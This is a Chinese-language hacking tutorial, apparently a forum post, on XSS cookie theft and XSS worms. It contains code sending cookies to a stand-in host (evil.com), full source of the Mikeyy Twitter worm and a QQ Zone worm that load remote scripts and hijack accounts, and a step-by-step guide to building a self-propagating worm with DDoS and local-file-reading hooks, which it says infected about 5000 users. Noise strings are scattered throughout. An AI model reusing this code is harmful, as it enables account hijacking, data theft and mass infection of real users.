. F1 T+ g- W6 a+ j4 s4 O

) ?# T3 h3 q2 V1 r+ P
  @7 J  |- N6 u! [3 L2 S2 C8 t, i6 q0 NSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
( q- a4 D( S$ C0 M5 q, `
" e; d- z2 k$ E/ H8 M' K) dacl TRACE method TRACE
0 b+ ~' E0 t3 e- A4 P9 Q
" \- ]& x) |- m* ?: L* [* E...
( \! W! u6 t1 M) C5 L4 n
http_access deny TRACE
* w& r$ Q) ~5 C$ O: ~& S复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
3 c1 @% \+ w! ]) J
XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
+ R1 G4 u2 g9 {
# n( W+ X; D' T! t+ K$ ?' [' y</script>
0 X" L/ V: V* _复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

: S  u# n7 `, a" F! [

XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

: {3 A: u, X# k7 I0 G% x8 uXmlHttp.send(null);

9 F$ Q* `' n2 q4 J" S7 i2 K<script>
/ M0 W  r" |" S: Z) t+ Z复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
& O6 K8 L; Z0 t7 q1 p8 _; H9 i第一版:
  下载 (5.1 KB)
0 x) h3 V1 [; O( x  F7 r, k4 d5 ~, t
0 s: v! B6 a! M% G$ [8 d2 N6 P- K6 天前 08:27

: i/ r9 o) W, O- x. \- ^1 [第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
1 X/ U* ~' p) r" ^6 _3 Q
7 X+ s) |/ i% Q4 t2 U1 U   2.   

   3. function XHConn(){  
* Z0 U! d9 Y+ ]* J
2 k& W, j% m' U6 r   4.   var _0x6687x2,_0x6687x3=false;  
5 a- Z* A5 |. A
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

/ _7 s# j8 m+ s6 V; B5 Z& a2 I* h   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
) [4 R4 R2 G6 k4 e$ e0 F# r
& m2 F6 w  `; I5 H4 d   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

- s) f. V1 b5 ~5 a- L; y   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  
; B+ y% F+ \4 \1 D& I: K
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

* z" i; o$ u* s4 l$ \4 r   6.   var authtoken=authreg.exec(content);  

5 x: K2 l' M( l   7.   var authtoken=authtoken[1];  

" Z' T- S6 k, K" ~- i9 J2 \   8.   var randomUpdate= new Array();  
) o# \6 f5 {7 a4 R; z9 [9 |
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
- D, ^6 f3 q, Y2 O. L+ P
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

/ R$ c0 E2 U, I  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
" j" Q# m2 J, B. m) d
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

, \1 J, ?/ ?" [! _  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
* }3 m6 D% W5 B, R
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
( K, c' \' E7 I& u. V( E1 V
4 m/ x  V# O- S; u( C& N  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
" b5 K: B; b& g' O8 g
6 v& k1 p6 r0 l2 E/ ]( X  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

- B* ~- A' A1 \  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

0 N  H* \; R! \# o5 L  a. i  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
' \9 O- A8 H" h4 o" I7 i
) d/ Y2 k2 b# V, X% Z  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
9 ?0 N4 C$ p# f9 s& i
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
3 P/ q' p" Q3 X; c
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
' f; C+ ?7 f6 @1 L& U  x( I$ |0 |
  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
' ^- e2 q% I: y4 Z! }
- g5 u  ?+ l; O: [( Q  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
( c& \: c0 ?; N
  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
7 `7 K) _. ~7 z& V: g  T. p; [
% I3 ~5 l6 O" v- N  30.   var _0xf81bx1c="Mikeyy";  
: L: Q0 Y1 o; m( x$ o
  31.   var updateEncode=urlencode(_0xf81bx1c);  
! h4 j+ W2 G3 D5 v  K6 |" ^3 o
  32.   var ajaxConn1= new XHConn();  
7 T: @$ q$ y8 D1 [% s' x; q
5 Y' s) r3 o1 l8 q- ~  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
. E% d( e3 {, T6 j; i5 S8 U$ {, r
  E0 B* T  u0 t6 i  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

/ q, ~9 e$ H8 N$ u2 T; j: X  35.   var XSS=urlencode(genXSS);  
) m& s7 i9 Y1 T5 _
" E; D' v+ P: d8 F  36.   var ajaxConn2= new XHConn();  

7 d: I0 s* t! G# X) R/ ]& Q  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
# J; J* d6 z5 o2 q% q
  38.     
3 W! k' H8 e0 B( h( }# \5 k/ s
  39. } ;  
, ^) D- a$ b8 Q# n
  40. setTimeout(wait(),5250);  
* s: A: M% E# d4 y6 X) L" D7 p复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;

( H6 M0 X; R2 H4 i* S

; I/ E. r  Q% C6 S7 Lvar shendu;shendu=4;
. Y8 v5 q2 k$ M+ @6 ^
//---------------global---v------------------------------------------

$ O$ s5 @: B9 T' O! i& J" o//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
' s* F3 K9 b) m9 W+ X
- S, y( ?8 T/ D: k3 T* tvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
) ^& M/ [, Q. s+ F. M2 Y$ G
        var gurl=document.location.href;

- G! w. p3 Q. a  ]* Y9 [        var gurle=gurl.indexOf("com/");
! T& M$ B* n6 ?$ l
        gurl=gurl.substring(0,gurle+3);        
0 M+ A3 b+ z7 x/ s+ Q- \
        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

" }9 w  Z$ D) q2 K. ?/ x        visitorID=visitorID.substring(cookieS+14);
6 S( ?6 ~0 f0 J  [$ o0 W* t
2 w- d1 z% L7 O) `. d/ ^! w" P        cookieS=visitorID.indexOf(",");

/ d' |& }# u3 A) U        visitorID=visitorID.substring(0,cookieS);
+ i/ U7 T% [# D3 h% ~' Z
        get_my_blog(visitorID);
1 P5 H# J& f; N: u8 q
        DOshuamy();
0 `7 T; f) r0 @9 S3 j" L4 o
# W9 Q; b" u! }- @" |
$ O) A& l* B$ S' Y, F" A
//挂马
: i7 Z2 t0 G1 B* Y% G2 ?4 [% T, p& K
! c0 M! ?/ g. S5 E7 L; N$ _4 _+ {function DOshuamy(){
3 i* ^# ^; f3 G7 b& J
0 q# s. ?& w9 v* x) h. _0 cvar ssr=document.getElementById("veryTitle");

7 ?" w: k: Z6 K: P8 P* J8 [- Nssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

7 h2 G. K" J" D+ m' i3 H8 F}

& }) v. u- W+ P

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

  j& T2 n$ F# K2 ]0 U. P& @   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
! |  d( m/ `% c3 c0 a
   if(xhr){    //成功就执行下面的
4 i' k& y. ]6 C7 E1 d
, P5 G2 e/ A8 a2 I' U     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
& M/ ]  E( [9 c2 z- J3 k
/ Y7 y. o# Q" i$ N* v* G     xhr.send();guest=xhr.responseText;
% U! @; G: F& s- V( z! l
     get_my_blogurl(guest);    //执行这个函数

3 s* u% \7 H" r5 ^* g    }

; B6 k: S/ H( v}
; W6 {" _9 J9 y# E/ i' T1 v( ~) ?

2 P1 i2 @, f% ]& r2 ^" r
1 Z3 o* g  o' t3 Z& W: `* N//这里似乎是判断没有登录的

function get_my_blogurl(guest){
' O0 _1 {( \1 f6 r
+ o+ A% R; n6 Y: Y& P* c: l  var mybloglist=guest;

+ G: k" B7 X# Y; v! @: D1 O  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
+ ]" i5 B( l% s! }" c8 ^7 s
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的
" i/ \  R- {6 E) X2 Z/ `
         mybloglist=mybloglist.substring(myurls+11);

0 B, e* v# @4 Y- T7 |) g7 [         myurls=mybloglist.indexOf(')');
1 i1 L! \! v+ Z6 S$ \
1 `8 B2 u' t& T5 T. X+ a$ `         myblogid=mybloglist.substring(0,myurls);
7 X: f% t7 r3 B0 {* [
        }else{break;}

}

get_my_testself();    //执行这个函数

! J. t+ y" V( k, j0 h3 ?}

$ y8 [& `8 s8 |4 l  j! m9 `( j& @2 L
% L. i, j3 T7 _* M% z
6 c' {! w  \  U//这里往哪跳就不知道了
5 a+ k5 m. U4 \
9 e' P5 C3 V7 ^1 |2 u9 hfunction get_my_testself(){
& C6 _  p( g& R; o" @: \, G! k
  for(i=0;i<myblogid.length;i++){    //获得blogid的值

' k6 S1 o; E6 U2 I1 E! T      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
, F$ h- j$ `& a  B
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
0 s' E7 E8 n0 R
- P; M' C. r' q- g; o  c9 ]" _- ~      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

: O7 g. p8 m4 _3 |4 D, T+ I4 [              xhr2.send();

! |- W3 ~1 i+ ~/ E              guest2=xhr2.responseText;
# {6 ^" X6 }& V2 P4 a! t. f
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
2 Z( e* y6 p4 ?; C
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

+ j* v6 r2 h0 Z+ K% K3 O: P' o  y              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

3 C" Q& y! J, o' L8 ]; G: {                targetblogurlid=myblogid;   
0 M, u* w, d7 D5 q1 g: o* A
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

4 O- e) g7 \/ a, ]9 A                break;

* q3 S4 Q, F6 k: Z6 C( X, N) m               }
% u" O; ~( G3 }# u4 S7 @0 V
9 ?  c: G# ~& A' b/ D0 {6 @              if(mycheckit=="-1"){
, X% H, ~( _2 [% A, t: b
: [6 c, _& X- B5 Y; F/ F9 F                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
2 U5 v0 A6 Y0 j4 C0 r' q6 p
6 J3 E( d7 Y1 Z6 {% Y4 }, t                break;
2 z' B4 C8 i" Z: Y5 j
* K! W; t0 Q1 j9 Q6 m6 V               }

, }7 [+ A3 S/ m4 q( Y1 z  z9 s        }      
2 Z! _, M: `3 b7 }6 t) K
7 P7 r. o; f4 Y}

}

3 z' H2 x; W2 _! M2 }5 @" c

/ `+ E6 y# \" s- n//--------------------------------------  

2 Z# e' W% {6 X# G//根据浏览器创建一个XMLHttpRequest对象

/ n& `/ R7 b4 U5 i# b, w' {function createXMLHttpRequest(){

, \. x& S$ P% n& |. x! i    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  
, {7 P- N9 N( P# U8 T& ^
, n, Z! i% I* [( y      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
' k8 t, J" C$ }& F! Z
( s( }4 N5 P+ d        for(var i=0;i<MSXML.length;i++)  

        {  

% z8 w& Z( a& c7 W  v8 [            try  
! n( R' v: V5 W# T( ~4 A, M# u
6 f: q9 W0 H3 s: H1 U            {  

1 R/ [% A2 B% Y5 M% e" w8 v/ m/ s                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
! d; E! n+ E# O# R& G+ k, S
            }  

, S& a( F# Q: `: I9 v! d            catch (ex) {  
+ t: m0 }+ a2 ?# _% R
/ ^  [1 r$ o1 H$ w  Q+ ^: ^0 l            }  
1 q+ x- p/ I0 F) ?
         }  
9 _1 @1 Z+ [0 \$ L9 W3 E9 K
      }
8 X* D+ H' }2 m/ S+ F' s
return XMLhttpObject;

}  


8 s7 {: E" M9 F* v
0 X" {9 j7 J0 j//这里就是感染部分了
/ ~4 i. F2 M, \: ^$ X5 W# d' T
function add_js(visitorID,targetblogurlid,gurl){
7 n8 T0 g; T4 Y2 j2 w
var s2=document.createElement('script');

" u( i# g- B6 R8 h  ls2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

+ \! e4 f7 O& P5 U: ^s2.type='text/javascript';
6 N/ `( _* n) A7 f
/ ?  }* o" u1 z9 c" o3 X; q: L- A  Edocument.getElementsByTagName('head').item(0).appendChild(s2);

}



- G( h* t  Z2 g: }" Rfunction add_jsdel(visitorID,targetblogurlid,gurl){
) O% k8 }" C$ v+ }8 e
( s5 I* s; G2 h: Uvar s2=document.createElement('script');
6 U7 i2 G8 b! E( ]6 F  a2 Q/ t+ U
" X8 g% L* s6 h+ e- L# e1 Hs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
+ F1 j' b# w" c* G3 Y
}
8 J; ^& `6 t+ p. \) C9 p% Q% Z/ B% Y复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
* ^" _- r+ d* R8 a0 B! `1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

0 R( J$ F) v$ O0 l/ V4 V2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

8 {* N1 _( D  [综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
# z1 B: s9 Z7 |* [2 \3 B; V

2 f" Y! l2 z6 w下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
' k. n; l' p* ~& G( m
2 W3 B4 s" S) H/ J# P首先,自然是判断不同浏览器,创建不同的对象var request = false;

0 ^& C, k7 ?/ Zif(window.XMLHttpRequest) {

* c: b$ M- D3 Y8 ]request = new XMLHttpRequest();

. R  s) X; X5 |# s) }8 S+ D/ M0 e: c  ~if(request.overrideMimeType) {

request.overrideMimeType('text/xml');
# @$ k1 X: d% U5 h+ Q6 ^" |
}
' B; X8 O; Q$ x9 H! ~
: L* ~; w" p$ d" Q1 e/ T} else if(window.ActiveXObject) {
7 k; r& m: c- `1 X
7 k; n) l  c) ovar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {
& o$ g. V' [# u  [
request = new ActiveXObject(versions);
& o" v- l0 d  Z8 L8 e) H1 A) g% y
} catch(e) {}

}
6 Z" O( c/ ]/ h/ a' d
6 E2 _% i6 L* U* p! x- G/ z1 p}
7 T# \/ ^( \0 @. \/ [( L
* z7 T0 b0 _$ h  mxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
$ E# R2 Y8 B7 R' }) Q
5 b6 G+ d$ ]! J/ @% c  Q7 o        var Browser_Name=navigator.appName;

, C7 k; P9 f9 q* F1 m        var Browser_Version=parseFloat(navigator.appVersion);

0 D6 h4 l+ O# R/ e4 {6 j9 \- {+ T        var Browser_Agent=navigator.userAgent;

: s7 w. e: M7 w1 B. Y        

0 g6 @7 x. h& Q4 c! h, I        var Actual_Version,Actual_Name;

# ^" S! l; t* b, O4 B  e. B$ R        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
& r! l5 ]( `( E) ?- G6 M( J
        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
7 T6 I# H7 U" x& V  G
  H) k- n% o; B) b        

        if(is_NN){
, j. V9 G, n. j3 Q  E6 p: V, A
# F9 q7 u, r- o$ X            if(Browser_Version>=5.0){
) |( D, Y; u0 y1 X# U' z% s* o  K
                var Split_Sign=Browser_Agent.lastIndexOf("/");
9 C: r3 ?8 e2 P) H* E) s$ F
                var Version=Browser_Agent.indexOf(" ",Split_Sign);
; _+ D, _0 @  g+ F6 m
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
& w: [: z6 e0 W) r) W

/ b$ q+ ?+ {& |9 o- R
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
$ ~, L3 ~  }. A: {9 Z+ ^: w
2 `1 L, D( v! q                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

! \" @  D) T3 \! t$ y" H( M0 G            }
( t9 U3 [3 D7 O5 h" X
; ~- F1 g$ f9 f( N" c            else{

2 C. D+ O; w# K6 \6 c) r; S7 ~                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
8 V. D# S  [4 n+ ^+ ~# X! w; e  z
            }
3 f4 y0 p% O# k, ]/ o
        }
9 a! p+ {4 Z2 D' J
* F" C& K2 G* p- y) w& b6 D        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
( D2 ~5 c$ G: E+ B5 S
$ `8 w* Z9 g; x( E$ ~, K            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

4 y2 h" Z0 a1 m6 H            Actual_Name=Browser_Name;

            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
; q, g5 I% S: _% s9 t
            }
8 w; Z% h) s: i1 c7 t
            else if(Browser_Agent.indexOf("Opera")!=-1){
5 D3 |4 B6 j  y" b" q
                Actual_Name="Opera";
9 ^: e, G/ v+ d  f
) |8 Y/ H) N' a  l" F                var tempstart=Browser_Agent.indexOf("Opera");
, h: t. O8 f! c4 E: V; G/ W# s6 ]
                var tempend=Browser_Agent.length;
9 ^' N  Y, v9 C) Q, A6 t
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
0 H' X4 o+ y6 P' f" k
        }

# U7 j* _! M* w. A$ s! X        else if(is_Ch){
/ |2 C8 E( {( y! j1 B
            var Version_Start=Browser_Agent.indexOf("Chrome");
0 G* D! {7 X+ ^! l; a/ b# _
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

9 h7 L( U$ Z, ?& z# I            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            

3 T% `$ [% C3 i: [            if(Browser_Agent.indexOf("Maxthon")!=-1){

# P! e! T" ^5 H                Actual_Name+="(Maxthon)";
5 e. L: F; D* Z% h
            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

$ A( `' _2 H2 n" w3 `+ x" M            }
$ J0 V# O4 ^% `
        }

8 B6 j/ _) O; L9 {        else{

            Actual_Name="Unknown Navigator"

- D) q9 @$ m8 L6 I            Actual_Version="Unknown Version"
" W1 b' b8 s4 V; g
        }
6 q! }) W9 m, u% R1 \9 b

, p# P5 r0 G% T9 Q8 Q" u
. V; {+ P0 p' L2 }/ ?        navigator.Actual_Name=Actual_Name;
- |8 C. g5 |$ m* l: f& |& y
        navigator.Actual_Version=Actual_Version;

        
0 l6 g* I; H1 Y0 H8 \" c4 i/ E/ d8 [
1 Q$ g7 G9 y+ C$ A1 Q  ?& \4 a/ C        this.Name=Actual_Name;

        this.Version=Actual_Version;
. n" P, ?5 U( c& X0 C6 E7 q/ W* h
- R- O+ n$ ~  }* \8 M0 O7 Y$ O" H    }
4 Q/ }) _& q: k7 S
    browserinfo();
0 T* x* g5 y: L& k$ x6 r3 U
) Z9 y' R( r6 W) f5 W( i6 g% @    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
+ L5 W* r' c2 h3 [4 Q  R" F
+ C4 D& i# B2 V    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
7 o, J& I0 V4 D+ E1 [
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
# \# Q$ m) }. \/ D2 W/ ]
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
! `( `2 f; u1 f4 C复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

; w1 }. m+ F# V# |& Q& O, Uvar resource = xmlHttpReq.responseText;

var id=0;var result;
. L$ J9 Q0 S" ]# B
. Z0 d$ b/ r& [5 W3 {* {3 R3 c- U( Nvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {

id++;
; T+ q& _$ t& S$ o- O) ^
( N9 R- k; W: ?9 j2 O  `}
! i% E( R+ h/ E# q; L/ x0 ^( E5 R复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

; R. Z: e9 a  M% S! W, o  N8 ino=resource.search(/my name is/);
' P9 f7 X2 G: L3 F" x
$ c2 [/ V: f0 G6 B0 b9 e! ]var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
( ]7 r, @0 v: E2 s. n
var post="wd="+wd;
( T# w/ B; z3 S& k
0 b& }7 ?7 ~5 v% K0 ]! lxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

1 [/ g" L) Y7 R) DxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
  S! S2 c% ]1 d7 |! x; m2 F; t. `
5 f! I/ F9 n) B( s. t0 V9 P$ VxmlHttpReq.setRequestHeader("content-length",post.length);
& }/ R* v% }3 G
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
- `2 _3 M+ H3 B) Z/ D, i
. r. |- {1 S7 ]  y7 [! h- ^xmlHttpReq.send(post);

" \- i, i3 S% F7 _9 @% [4 f5 S: a}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
" g! i$ F8 a% c& l1 {
, X# T7 N: Z/ L8 F, Pvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
* z; B4 r" @3 W* Q3 ^% X& l
% W8 D! K; j& nvar post="wd="+wd;
( M" D5 b/ H: k/ x" Z
  K' _6 ^  \' ]# a! v& s1 O8 ^# M' m4 axmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
0 q. N, V: F4 t/ i; ~" k
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

1 R! H3 S8 }2 T0 Z8 J" A7 NxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
# Q1 D$ t  ]9 v
* w/ l, r* o7 n7 NxmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
) P( M( t! i3 |复制代码-----------------------------------------------------总结-------------------------------------------------------------------



本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
1 p7 n, \" Z6 B# P& r! c  Y0 e3 u) O蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
